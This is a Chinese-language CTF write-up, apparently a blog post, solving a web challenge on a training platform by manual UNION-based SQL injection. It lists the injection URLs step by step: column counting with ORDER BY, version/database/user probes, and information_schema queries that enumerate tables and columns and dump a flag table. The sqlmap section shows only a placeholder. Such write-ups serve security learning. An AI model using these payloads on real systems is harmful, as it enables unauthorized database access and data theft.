Bar-Lookssimple

本文通过分析CTF题目,展示了手工和使用sqlmap进行SQL注入的步骤。从修改URL参数发现SQL注入可能性,到利用information_schema表爆字段、表名和内容,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://ctf5.shiyanbar.com/8/index.php?id=1
这个看起来很简单
看到链接,猜猜是不是sql注入。

0x01 手工注入

  1. 先改id的值看看
http://ctf5.shiyanbar.com/8/index.php?id=1

在这里插入图片描述 http://ctf5.shiyanbar.com/8/index.php?id=2
在这里插入图片描述2. 发现可行,试试order by爆字段。

http://ctf5.shiyanbar.com/8/index.php?id=2 order by 2%23

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=2 order by 3%23

在这里插入图片描述
3. 得到字段数为2,继续进行联合注入

http://ctf5.shiyanbar.com/8/index.php?id=-1 union select 1,2

在这里插入图片描述
4. 在第二个字段可以尝试添加sql语句。

http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,version()
http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,database()
http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,user()

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
5. 在版本大于5的mysql数据库中,有个information_schema表,存了数据库中所有的信息,可以用来爆我们需要的信息。

由于我们之前已经知道了数据库的名字,可以直接爆表。

http://ctf5.shiyanbar.com/8/index.php?id='-1 'union select 1,group_concat(table_name) from information_schema.tables where table_schema='my_db'%23

在这里插入图片描述6. 爆列名
http://ctf5.shiyanbar.com/8/index.php?id=’-1 'union select 1,group_concat(column_name) from information_schema.columns where table_name=‘thiskey’%23

在这里插入图片描述7. 爆列中的内容

http://ctf5.shiyanbar.com/8/index.php?id='-1 'union select 1,k0y from thiskey

在这里插入图片描述
得到flag。

0x02 sqlmap

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值